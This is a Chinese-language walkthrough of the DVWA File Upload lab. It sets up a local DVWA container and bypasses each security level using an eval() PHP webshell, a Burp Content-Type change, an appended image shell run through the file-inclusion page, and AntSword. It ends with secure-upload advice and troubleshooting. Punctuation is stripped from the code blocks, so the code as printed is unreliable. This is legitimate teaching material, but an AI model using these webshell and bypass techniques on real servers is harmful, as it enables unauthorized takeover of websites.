
DVWA作为Web安全入门绕不开的一个靶场File Upload模块又是其中最能让人“第一次感觉自己拿到服务器”的关卡。这篇文章不是简单把题目过一遍而是把每个级别背后的校验逻辑、绕过思路、代码层面原因全部拆开讲清楚同时把我在反复练习过程中踩过的坑和总结的套路一并写出来。适合刚接触Web安全的同学、准备护网蓝队面试的选手以及想系统理解文件上传漏洞原理的开发者。1. 认识DVWA与File Upload模块1.1 DVWA是什么为什么安全圈都在用它DVWADamn Vulnerable Web Application是一个故意造得“漏洞百出”的PHP/MySQL Web应用它的定位就是给安全学习者提供一个合法、可控的攻击练习场。跟你在网上随便找的赌站、钓鱼站完全不是一回事这是官方开源的项目装在你自己电脑里随便搞搞坏了重置一下就行。它的模块覆盖了Web安全最常见的那几类SQL注入、XSS、文件上传、命令注入、CSRF、暴力破解、文件包含等等。每个模块都分Low、Medium、High、Impossible四个难度从完全裸奔到不断加防御最后给你看一份标准的安全写法。这种设计思路特别适合学习因为你能一步一步看到“攻击者和防御者是怎么博弈的”。File Upload是这里面我个人觉得“正反馈最强”的一个模块。别的漏洞你打进去往往只能看到数据被拖出来文件上传一旦打通是直接往服务器上丢一个WebShell然后你就有了一个“网页版的终端”那种感觉是完全不一样的。1.2 File Upload模块的四个难度级别设计逻辑DVWA的File Upload模块每一关的防护策略是这样的Low不设任何检查后缀名是啥就传啥传上去就能访问。Medium只检查文件的MIME类型Content-Type而且服务端信任了客户端提交的这个值。High检查了文件内容开头几个字节文件头/魔术字节还用了getimagesize函数去验证试图把非图片文件拦下来。Impossible白名单后缀 重命名 二次渲染把文件上传该做的防御基本做齐了。这个递进过程非常典型很多真实站点的上传功能就是用这些“单点防御”拼凑的。你把DVWA这四级吃透了现实中遇到花式上传点基本一眼就能看出它用的是哪种防护然后直接套对应的绕过思路。我特别想强调一点学习这个模块重点不是“记住某个绕过技巧”而是理解每一关的代码到底在验证什么。你只有知道服务端信任了什么、过滤了什么才能推导出怎么骗过它。下面我逐关拆解。2. 环境搭建最快跑起DVWA靶场2.1 方案选型Docker、Kali自带、phpstudy怎么选搭建DVWA的常见方案有三种先说一下区别方便你选Docker一键部署最推荐不需要折腾PHP/MySQL环境两个命令搞定容器打坏了重新拉一个就行缺点是有人觉得“看不到真实目录结构”其实这不影响因为DVWA的学习重点在代码逻辑而不在环境搭建。Kali自带/apt安装Kali官方源里可以直接装dvwa装完跟系统集成度好适合以后还要搞别的靶场的同学但Kali本身对新手来说有一定门槛。phpstudy 手动部署最早期的经典玩法适合想彻底熟悉PHP环境配置的人缺点是步骤多、容易在权限和PHP版本上踩坑。我的建议是新手直接Docker。我见过太多人把时间浪费在配置MySQL密码混乱、PHP版本不兼容这类环境问题上结果还没开始学就想放弃了。先把靶场跑起来把精力花在漏洞原理上才是正道。提示无论用哪种方式DVWA都只能装在你自己控制的机器里不要把它部署到公网或公司生产环境这类漏洞靶场一旦被外人发现等于给别人送分。2.2 Docker一键搭建实操我的习惯是用vulnerables/web-dvwa这个镜像虽然更新不算勤快但胜在稳定、省心。步骤就这几行先确认Docker装好了docker --version docker compose version # 或 docker-compose --version然后直接拉镜像并启动把容器的80端口映射到你本机的8080端口避免和本机已有服务冲突docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa启动完成后浏览器访问http://localhost:8080第一次进入会跳转到安装页面。DVWA需要先初始化数据库点击页面底部的“Create / Reset Database”按钮然后用默认账号admin和密码password登录进入之后看到左侧那一长串漏洞模块列表就说明环境OK了。这里有个我自己经历过的坑MySQL容器启动有时比应用慢如果你第一次点创建数据库报错不要慌等十几秒刷新一下或者重启容器再来一次docker restart dvwa如果还是连不上数据库可以进容器里检查MySQL状态docker exec -it dvwa bash service mysql status service apache2 status2.3 非Docker方式phpstudy搭建要点如果你出于某种原因非要手动搭记住这几个关键点phpstudy里启动Apache和MySQLPHP版本选用5.x或7.x低版本DVWA对PHP 8.x的兼容性不太好经常报Deprecated一堆红字虽然不影响核心功能但很碍眼。把DVWA解压到phpstudy的WWW目录下重命名为dvwa。复制一份config/config.inc.php.dist为config.inc.php里面改数据库密码默认root密码在phpstudy里一般是root。访问http://localhost/dvwa同样点“Create / Reset Database”。手动搭建最容易出问题的就是数据库连接那一步。DVWA默认配置里数据库用的是root密码是空或者pssw0rd你不改对的话页面会一直提示无法连接MySQL。一定记得去config.inc.php里把$_DVWA[db_password]改成你phpstudy里MySQL的真实密码。2.4 确认File Upload模块目录可写在开始做上传实验之前还要确认一个关键点上传目录是否有写权限。DVWA的图片/文件默认存放在/var/www/html/hackable/uploads/这个目录Docker容器路径如果是phpstudy则在hackable/uploads/。查看权限ls -al /var/www/html/hackable/uploads/如果当前用户没有写权限上传时会报错。通常在Docker镜像里这个目录默认是可写的但如果你自己改过或部署在特定系统上可能遇到目录不可写。这时调整一下chmod 777 /var/www/html/hackable/uploads/注意这里的777只是为了实验方便生产环境永远不要给上传目录这种权限。3. LOW级别无防护上传直接拿WebShell3.1 漏洞原理什么约束都没有的下场打开DVWA安全级别切换到Low进入File Upload模块看到一个只有单个文件选择框的清爽页面。为什么说这关“裸奔”看后端源码就知道了?php if( isset( $_POST[ Upload ] ) ) { $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { echo preYour image was not uploaded./pre; } else { echo pre{$target_path} succesfully uploaded!/pre; } } ?整个上传过程就干了一件事把文件从临时目录搬到目标目录。没有检查后缀名、没有检查文件内容、没有检查文件大小连文件名都直接用客户端传来的原始文件名。这意味着你上传一个shell.php它就会老老实实地以shell.php这个名字落在服务器的uploads目录下并且可以被直接URL访问。LOW级别的核心价值在于让你直观理解“WebShell的上传与连接”这件事本身。先把这条链路打通后面在绕过多重校验时你才知道自己最终要达成的目标是什么。3.2 实操步骤上传一句话木马并用蚁剑连接第一步在本地新建一个php文件文件名就叫shell.php内容是最经典的一句话木马?php eval($_POST[cmd]); ?这里解释一下为什么要用eval($_POST[cmd])这种写法$_POST[cmd]表示接收POST请求中名为cmd的参数值。eval()是把传入的字符串当作PHP代码执行。作用是抑制错误输出免得因为报错暴露脚本路径。所以整句话的含义就是谁向我POST一个cmd参数我就把这个值当PHP代码来执行。这就是“一句话木马”的基本形态密码就是cmd。然后打开DVWA的File Upload页面选择这个文件直接上传。上传成功后页面会显示类似这样的信息../../hackable/uploads/shell.php succesfully uploaded!这时先不要急着用工具连先在浏览器里验证一下这个PHP文件是否能正常解析。直接访问http://localhost:8080/hackable/uploads/shell.php如果看到的是一个空白页面说明PHP执行正常——因为没有任何输出。如果你看到了源码明文?php eval($_POST[cmd]); ?那说明PHP没有解析这个文件元凶通常是Apache没有配置好PHP模块或者容器里PHP-FPM没监听这个我们后面在问题排查里再讲。浏览器确认无误后再用蚁剑AntSword连接URL填http://localhost:8080/hackable/uploads/shell.php连接密码cmd连接类型PHP连接成功后蚁剑右侧会展示出网站目录文件列表你可以直接右键“虚拟终端”弹一个命令执行窗口输入id、whoami、ifconfig之类的命令试试。看到命令输出出来的那一刻你对“拿下一台服务器”的体感就再也不会忘。3.3 为什么WebShell能控制服务器这里要稍微讲点原理不然你只是“照着做了但没懂”。WebShell本质上就是一个“藏在Web目录里的后门脚本”它与普通PHP文件没有任何区别都会经过PHP解释器执行。区别在于普通业务代码是网站开发者写的功能逻辑而WebShell里放的是接收外部指令并执行的逻辑。当你在蚁剑里输入命令时蚁剑会构造一个HTTP POST请求把命令参数提交给WebShell的cmd字段WebShell中的eval()函数直接把这段内容当作PHP代码执行然后把执行结果输出在HTTP响应里。蚁剑再把响应解析出来显示在界面上。所以WebShell执行的命令权限取决于运行PHP的用户权限。在DVWA的Docker容器里这个用户通常是www-data权限范围只限于容器内部。这也是为什么我们经常说“拿到WebShell只是第一步”接下来还有提权、内网渗透等后续动作。但在DVWA里你只要拿到WebShell并确认命令执行这关的学习目标就已经达到了。4. MEDIUM级别MIME类型校验绕过4.1 漏洞原理客户端说什么服务端就信什么Medium级别开始有防御了先看源码再动手?php if( isset( $_POST[ Upload ] ) ) { $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_type $_FILES[ uploaded ][ type ]; $uploaded_size $_FILES[ uploaded ][ size ]; if( ( $uploaded_type image/jpeg || $uploaded_type image/png ) ( $uploaded_size 100000 ) ) { if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { echo preYour image was not uploaded./pre; } else { echo pre{$target_path} succesfully uploaded!/pre; } } else { echo preYour image was not uploaded./pre; } } ?这关只做了两个判断文件类型必须是image/jpeg或image/png。文件大小要小于100000字节约100KB。问题出在$_FILES[uploaded][type]这个值上。这个值是从哪来的是浏览器在客户端解析出文件扩展名后在发起HTTP请求时通过Content-Type请求头提交给服务器的。换句话说服务端完全没有去检查文件真实内容而是直接信任了HTTP包头里用户可控的这个值。在HTTP协议里上传文件时的请求头大致长这样POST /dvwa/vulnerabilities/upload/ HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary----WebKitFormBoundary..... ------WebKitFormBoundary..... Content-Disposition: form-data; nameuploaded; filenameshell.php Content-Type: application/octet-stream ?php eval($_POST[cmd]); ? ------WebKitFormBoundary.....其中Content-Type: application/octet-stream就是服务端拿到并检查的那个$uploaded_type。既然这个值完全由客户端控制那我把application/octet-stream改成image/jpeg服务端的第一道检查不就等于没检查4.2 实操步骤Burp Suite改包绕过Low级别我们是直接拖文件上传的Medium级别就要用Burp Suite来改包了。操作流程如下浏览器代理指向Burp的127.0.0.1:8080开启Burp的Intercept拦截功能。回到DVWA页面选择一个shell.php文件点击上传。Burp拦截到上传请求后找到Content-Disposition: form-data; nameuploaded; filenameshell.php这一段。往下看到一个Content-Type: application/octet-stream把它改成Content-Type: image/jpeg。检查一下Content-Length不要超过100000字节然后放行请求。改完的请求片段应该是这样的Content-Disposition: form-data; nameuploaded; filenameshell.php Content-Type: image/jpeg ?php eval($_POST[cmd]); ?放行后回到DVWA页面看到上传成功的提示访问http://localhost:8080/hackable/uploads/shell.php确认页面空白无报错。蚁剑连接跟Low级别一样。这里有一个细节要提醒改Content-Type的时候不要动文件名filenameshell.php因为服务端这一关没有检查文件名后缀但后面High级别光改Content-Type就不够了。改完包之后如果上传失败先检查是不是Content-Length计算问题或者是请求体里还有其他地方也设置了Content-Type导致服务端取的是另一个值。4.3 代码审计为什么这种校验没有意义Medium级别的防御逻辑在“防御者”眼里看起来“有总比没有好”但学过这关之后你要形成一个判断能力任何基于客户端可控信息的校验本质上都不是校验。Content-Type、User-Agent、Referer这些HTTP头部全部是客户端发出的用Burp、curl、或直接写一段Python脚本想怎么改就怎么改。真实的Web应用如果用它做安全决策等于把门锁钥匙挂在门把手上。现实中确实有不少站点还在用类似的思路防上传比如前端JS限制只能选择图片、后端只判断图片后缀等。绕过思路和这里是一样的前端限制直接禁掉JS或手动构造请求后缀限制就考虑解析漏洞或配合文件包含来利用。理解DVWA这一关你以后看任何上传功能的第一反应就应该是“这个校验是查的客户端数据还是查的服务器端文件内容”5. HIGH级别文件头与二次渲染绕过5.1 漏洞原理检查文件头和getimagesizeHigh级别的防御上了一个台阶看关键源码?php if( isset( $_POST[ Upload ] ) ) { $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_ext substr( $uploaded_name, strrpos( $uploaded_name, . ) 1); $uploaded_size $_FILES[ uploaded ][ size ]; $uploaded_tmp $_FILES[ uploaded ][ tmp_name ]; if( ( strtolower( $uploaded_ext ) jpg || strtolower( $uploaded_ext ) jpeg || strtolower( $uploaded_ext ) png ) ( $uploaded_size 100000 ) getimagesize( $uploaded_tmp ) ) { if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { echo preYour image was not uploaded./pre; } else { echo pre{$target_path} succesfully uploaded!/pre; } } else { echo preYour image was not uploaded./pre; } } ?检查条件多了三个文件扩展名必须是jpg、jpeg或png。文件大小小于100000字节。getimagesize()函数对文件解析后返回不为空。前两个好理解第三个是重点。getimagesize()是PHP内置函数它读过文件头部数据尝试解析出图片的宽度、高度、类型等元信息。如果文件根本不是一张合法图片这个函数会返回false。所以High级别实际上做了两件事后缀名必须图片后缀文件内容也必须真的是图片。单纯传一个shell.jpg内容是PHP代码的文件getimagesize()直接返回false上传失败。那是不是这关就无法绕过了当然不是。它只验证了“这个文件有图片的头部内容”并没有验证“整个文件完全是一张图片”。思路就是制作一个“图片马”把PHP代码藏到一张正常图片里。5.2 实操步骤制作图片马并上传制作图片马最典型的方法有两种我来演示最通用的一种。先准备一张很小的图片比如evil.jpg然后打开终端执行cp evil.jpg shell.jpg echo ?php eval($_POST[cmd]); ? shell.jpg这段命令的作用是先复制一张正常图片为shell.jpg然后在文件末尾追加一行PHP代码。因为JPEG文件中没有“文件结束符”之类的硬性标记解析图片时遇到的是前边的正常数据后面多出来的一行文字并不会导致图片打不开但是在你用文本方式访问这个文件时PHP解释器会原样执行其中的PHP标签。由于High级别对文件大小限制在100KB以内你在选图片时要注意选小一点的或者用压缩工具把图片弄小。上传成功后如果你直接访问http://localhost:8080/hackable/uploads/shell.jpg浏览器会把它当作图片显示并不会执行其中的PHP代码——这中间差一个关键步骤要让服务器把jpg文件当作PHP来解析。那么问题来了光上传图片马还不行还得想办法让图片里的PHP代码执行。这在DVWA里有好几种利用姿势最常见的是配合文件包含漏洞。5.3 配合文件包含漏洞getshellDVWA本身还有一个File Inclusion模块在High等级下它支持从文件系统里读取文件而且不会强制加php后缀。利用思路如下先按上面方法上传图片马shell.jpg记住它在服务器上的绝对路径/var/www/html/hackable/uploads/shell.jpg。来到DVWA的File Inclusion模块确认URL里page参数的传入方式是http://localhost:8080/dvwa/vulnerabilities/fi/?page...。构造URL让PHP包含刚才的图片马http://localhost:8080/dvwa/vulnerabilities/fi/?page/var/www/html/hackable/uploads/shell.jpg当PHP读取并解析这个jpg文件时其中嵌入的PHP代码会被执行。由于包含文件时文件路径不存在php后缀图片里的PHP代码就会生效。验证方式还是老套路访问这个页面后什么都不显示是正常的然后用蚁剑连接URL填上面这个包含URL连接密码cmd。能出虚拟终端说明图片马配合文件包含成功getshell。还有一种思路是利用Apache的解析漏洞比如在某些配置下Apache会把shell.php.jpg当成PHP执行但在DVWA默认环境里一般不适用所以文件包含是最稳的利用路径。注意图片马不是只有追加到末尾这一种制作方式。还有一种是利用图片的EXIF信息在图片的注释区域写入PHP代码。实际渗透中哪种方式有效取决于服务端是否完整解析图片内容但在DVWA High级别下追加法完全够用。5.4 二次渲染绕过High级别还没做到的那一步High级别的代码其实还有一个薄弱点值得展开讲它虽然用了getimagesize()做验证但保存文件时保存的是你上传的原始文件并没有对图片内容做任何重处理。这就意味着只要文件“看起来像图片”就能通过检查。真实系统里更严格的做法是拿到上传的图片后用GD库或Imagick把图片重新解码、再编码一次生成一张全新的图片丢弃原始文件里的所有额外数据。这种防御叫“二次渲染”。一旦服务器做了二次渲染你追加在图片末尾的PHP代码就会被直接剥掉因为新生成的图片文件里根本不会包含那些多余字节。绕二次渲染的思路也比较固定先传一张正常图片通过二次渲染拿回渲染后的图片再对比原始图片与渲染后图片的差异找到哪些字节没有被改动通常是图片的某些注释区、颜色区把PHP代码塞进那些“幸存”的字节里。这个操作需要写脚本分析过程比较繁琐。DVWA的Impossible级别其实没有做二次渲染它直接用了重命名白名单这也是另一种安全写法所以你不需要在DVWA里实际练习二次渲染绕过但要知道有这回事。6. Impossible级别一份“标准答案”级别的安全代码6.1 白名单、随机重命名、内容校验三重防御Impossible级别的源码值得认真读一遍它展示了一套相对完整的上传防护方案?php if( isset( $_POST[ Upload ] ) ) { $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_ext substr( $uploaded_name, strrpos( $uploaded_name, . ) 1); $uploaded_size $_FILES[ uploaded ][ size ]; $uploaded_tmp $_FILES[ uploaded ][ tmp_name ]; if( ( strtolower( $uploaded_ext ) jpg || strtolower( $uploaded_ext ) jpeg || strtolower( $uploaded_ext ) png ) ( $uploaded_size 100000 ) getimagesize( $uploaded_tmp ) ) { $target_file md5( uniqid() . $uploaded_name ) . . . $uploaded_ext; $temp explode( ., $_FILES[ uploaded ][ name ] ); if( move_uploaded_file( $uploaded_tmp, $target_path . $target_file ) ) { echo pre{$target_path}{$target_file} succesfully uploaded!/pre; } else { echo preYour image was not uploaded./pre; } } else { echo preYour image was not uploaded./pre; } } ?与前面级别相比最核心的变化是$target_file md5( uniqid() . $uploaded_name ) . . . $uploaded_ext;这一行。它把文件名重构成了一个MD5哈希值再加一个从上传文件后缀里取到的扩展名。意味着你上传的shell.jpg最终落盘文件名是一个32位十六进制字符串加.jpg例如c4ca4238a0b923820dcc509a6f75849b.jpg。你仔细想想这个防御的精妙之处攻击者无法预测文件名就没法直接URL访问到上传后的文件。后缀虽然还是.jpg但配合前端Web服务器的解析配置默认不会以PHP执行。由于文件名被重写攻击者连“原名联动其他漏洞”这种思路也断了。如果你朝这个级别上传一个图片马最终的落地文件名是完全随机的即使你知道文件成功上传了也很难去定位它的路径。学习Impossible级别源码的意义在于即使单个防御点不算绝对无解组合起来就能极大提高攻击成本。6.2 什么才是“安全的上传功能”设计模板从DVWA的四级源码里我们可以总结出一个生产环境可参考的上传安全清单第一层白名单校验扩展名。只允许.jpg、.jpeg、.png等图片后缀且校验时用strtolower先把后缀统一转小写防止.PHP、.Php这类大小写变体绕过。第二层校验MIME与文件内容。服务端不能信Content-Type要用getimagesize()或类似函数读取真实文件头数据判断文件类型。甚至进一步做二次渲染确保文件里不含有业务逻辑之外的字节。第三层随机重命名。不要让用户可控的文件名直接落到Web目录。文件名统一用服务端生成的随机字符串让攻击者无法预测访问路径。第四层隔离存储与访问控制。把上传目录放到Web根目录之外或者放在另一个域名/对象存储里即使文件被上传了也无法通过HTTP直接访问并解析。用户需要查看图片时用一个下载接口去读文件并输出。第五层限制执行权限。上传目录关闭脚本执行权限比如Nginx配置里去掉对上传目录的PHP解析。这五层不是理论而是真实项目里确实常见的做法。你以后在开发或代码审计时拿这个清单去对照就知道一个上传功能安全程度究竟如何。7. 常见问题与排查技巧实录7.1 装好之后页面能开但数据库初始化失败这大概是DVWA安装中最常见的坑。页面能开说明Apache正常但创建数据库的时候一直提示数据库连接失败或者报“Access denied for user rootlocalhost”。先检查一件事容器里MySQL服务是否已经启动。Docker镜像启动后有时MySQL在容器内没自启手动拉起docker exec -it dvwa bash service mysql start再检查config/config.inc.php里的数据库账号密码是否和MySQL实际账号一致。有时候root账号的密码不是默认值可以在容器里用命令重置mysql -u root ALTER USER rootlocalhost IDENTIFIED WITH mysql_native_password BY pssw0rd; FLUSH PRIVILEGES;改完后刷新DVWA的安装页面重新点“Create / Reset Database”。7.2 上传成功但访问PHP文件显示源代码上传页面明确提示成功了但浏览器访问http://localhost:8080/hackable/uploads/shell.php返回的是PHP源码而不是空白页。这说明Apache没有把.php交给PHP解释器处理。这在Docker环境里很少见通常是用了自带PHP-CGI的版本或手动搭建的nginxphp环境时出现。排查顺序确认PHP模块是否加载docker exec -it dvwa bash执行php -v看能不能输出版本号。确认Apache是否启用PHP解析检查/etc/apache2/mods-enabled/里有没有php7.2.conf之类的软链接。打开源码文件确认PHP标签没有被转义如果你本地的编辑器自动把?php转成了一些特殊字符上传到服务器后也会出问题。如果在windows下用记事本编辑过shell.php要特别注意编码问题尽量用VS Code或Notepad保存为UTF-8无BOM格式。7.3 蚁剑连接失败或命令不回显上传成功、文件也能正常访问但蚁剑就是连不上这是高频问题。先别急着换攻击工具按下面步骤排查第一确认WebShell内容没有被服务器语言版本过滤。PHP 7之后的版本里eval还是能用的但部分环境下eval会被禁用比如某些安全扩展你可以上传一个探针文件来验证?php phpinfo(); ?访问如果能看到PHP信息页说明PHP环境没问题问题出在你的木马写法上。第二确认蚁剑里的URL和密码填对了。URL要精确到文件密码对应木马里的$_POST[cmd]。如果木马写作$_POST[pass]那蚁剑密码就填pass不是固定填cmd。第三检查是否因为图片马导致的MIME类型问题。如果你传的是图片马蚁剑连接的URL应该指向能触发PHP解析的地址比如文件包含URL而不是直接访问jpg图片地址直接访问图片只会显示图片内容或空白命令自然不会执行。第四用curl手动验证一下命令是否真的执行curl -X POST -d cmdecho hello; http://localhost:8080/hackable/uploads/shell.php如果响应里能搜到hello说明马是通的问题出在蚁剑本身的配置或代理上。7.4 实验做通了但感觉“不真实”怎么办很多同学练完DVWA会觉得不太真实上传限制就几种目标也没有WAF和现实中碰到的站点差距很大。我的建议是不要急着去搞更复杂的在线靶场先把DVWA每一关的原理吃透然后去本机搭一个LAMP环境做变体实验主动增加难度。比如自己加一层限制上传目录禁止解析PHP。这时候你就得想办法用.htaccess覆盖配置或者在图片马基础上找别的执行点。再加一层文件名强制加时间戳。那就得考虑能不能通过目录爆破找到文件路径。这些变体实验做熟了你对上传漏洞的理解深度完全不一样。我自己练这个模块练了不止一遍每一遍都有新的体会。第二遍做的时候我开始读源码第三遍做的时候我开始跑burp的Intruder测试不同的绕过组合。等到后来刷真实SRC遇到一个上传点时我脑子里自动就会形成一个判断树后缀过滤还是MIME过滤服务端有没有做文件头校验上传目录能不能直接拿URL访问如果没有把所有可能性都过一遍就很难在短时间内找到突破口。DVWA就是那棵判断树的起点值得多刷几遍。最后分享一个我个人很获益的小习惯每做完一个关卡不要马上切下一关而是花五分钟时间回到源码问自己三件事——这段代码信任了哪些用户输入我利用了哪些信任关系如果我是开发怎么补上这个缺口坚持下来你学的就不再是单个解题技巧而是一套可持续复用的安全思维。